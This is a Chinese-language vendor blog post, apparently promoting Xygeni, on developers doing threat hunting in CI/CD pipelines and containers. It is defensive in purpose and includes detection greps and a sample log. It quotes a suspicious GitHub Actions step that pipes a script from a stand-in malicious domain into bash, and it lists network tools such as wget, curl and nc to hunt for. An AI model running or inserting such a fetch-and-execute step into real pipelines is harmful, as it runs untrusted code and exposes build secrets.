为什么威胁搜寻不仅属于安全团队，还属于开发团队
大多数开发团队仍然依赖 SOC 警报和外部安全工具来发现威胁。但威胁检测正在不断发展，威胁追踪不再仅仅属于安全分析师。网络威胁追踪正在成为开发人员需要融入自身工作流程的一项技能。
为什么？因为威胁行为者越来越多地利用 DevOps 堆栈， 受损的软件包、恶意自动化以及 滥用代币这些信号很少会触发传统的安全警报。威胁猎手越早发现这些问题，团队就能越快地阻止真正的事件发生。
真正的差距体现在：
- CI/CD 静默运行未知二进制文件的作业
- 被替换的依赖项 pull requests
- 可疑分支中使用的环境机密
这些不是安全团队的问题，而是开发者面临的现实。威胁搜寻必须从这里开始：在代码内部， pipeline以及开发环境。拥有网络威胁搜寻思维的开发人员将成为团队中第一个也是最好的威胁搜寻者。
⚠️警告：此步骤将在未经验证的情况下从外部域执行 Shell 脚本。这会带来重大风险。
# suspicious GitHub Actions step
- name: Inject secrets
run: |
curl http://malicious-domain.com/payload.sh | bash
这不会触发传统的安全规则。但威胁猎手发现了异常：为什么外部payload会在CI中执行？ 卷曲 命令从何而来？ 这种追踪意外情况的思维方式至关重要。代码中的网络威胁追踪意味着要用批判的眼光审视日志、差异和行为。
内部应用网络威胁搜寻 CI/CD 和容器
开发人员可以直接在内部采用网络威胁搜寻技术 CI/CD 以及容器工作流。这些环境很容易被滥用，而攻击者正是利用了开发人员不注意这一事实。
面向开发人员的实用威胁搜寻技术：
- 令牌滥用检测：审计日志，用于记录意外作业或未经授权的用户使用的机密。
- 意外的进程执行：跟踪运行类似命令的作业 打坏, wget的, 卷曲, CHMOD 或 nc，尤其是来自未知来源的信息。
- 依赖 篡改：将构建时依赖项与预先批准的哈希值进行比较。差异锁定文件和供应商文件夹。
⚠️警告： 以下命令不应出现在正常的构建任务中。如果出现，请立即调查。
# hunting for unexpected processes inside a container
ps aux | grep -E 'wget|curl|nc|sh'
⚠️警告： 类似此 JSON 日志的异常行为可能表示未经授权的操作或脚本注入。
{
"job": "build-app",
"command": "curl https://weird-domain.net",
"time": "2024-08-21T10:23:00Z"
}
威胁猎手会调查引入此命令的原因，并将其追溯到特定的 commit 或脚本。这是典型的网络威胁搜寻行为，可以在滥用成为漏洞之前检测到它。
将其嵌入到 DevSecOps 实践中
目标不是手动检查每个日志或 commit目标是将威胁搜寻逻辑直接嵌入到你的 DevSecOps 工作流.
如何实施威胁搜寻：
- 结构化日志记录：捕获命令执行、脚本更改和意外的网络调用。
- Pipeline 异常检测：对偏差发出警报 pipeline 基线，例如新的二进制文件、修改后的秘密或新的第三方调用。
- 可疑行为验证：为新的依赖关系或敏感的工作变化添加健全性检查或批准门。
可以将其想象为向左移动，但要具有威胁猎手的心态。 良好做法： 使用静态检测尽早标记危险命令。
- name: Check for unexpected curl usage
run: |
grep -r 'curl' .github/workflows/ || echo "No curl found"
简单的模式匹配可以及早标记异常并支持网络威胁搜寻，而不会增加构建的延迟。
使用 Xygeni 扩展跨代码和 Pipelines
手动威胁搜寻虽然有效，但无法扩展。这就是 西吉尼 用武之地。 Xygeni 使开发人员能够：
- 跟踪意外的进程执行 CI/CD pipelines
- 检测令牌的可疑使用或修改的依赖项
- 识别跨存储库和容器的网络威胁搜寻信号
- 建立基线以实时发现新行为和威胁
- 使每个开发人员都能够通过自动化上下文充当威胁猎手
与传统工具不同，Xygeni 可以治疗您的 pipelines 和代码就像攻击者的头等目标，并使开发人员能够在源头上追捕威胁。
从开发人员到威胁猎手：您在网络威胁搜寻中的角色
威胁搜寻不仅仅适用于 SOC。它适用于每一位提交代码、配置 pipeline，或者合并依赖项。 要像威胁猎手一样思考，您需要：
- 追踪指向妥协的微弱信号
- 在您自己的环境中搜寻：CI 作业、容器日志、 commit 差异
- 将检测逻辑构建到您的工作流程中，而不是事后才想到
借助 Xygeni 等工具，您可以在整个团队中扩大网络威胁搜寻范围， pipelines 和依赖项。
像攻击者一样思考，像开发者一样狩猎。
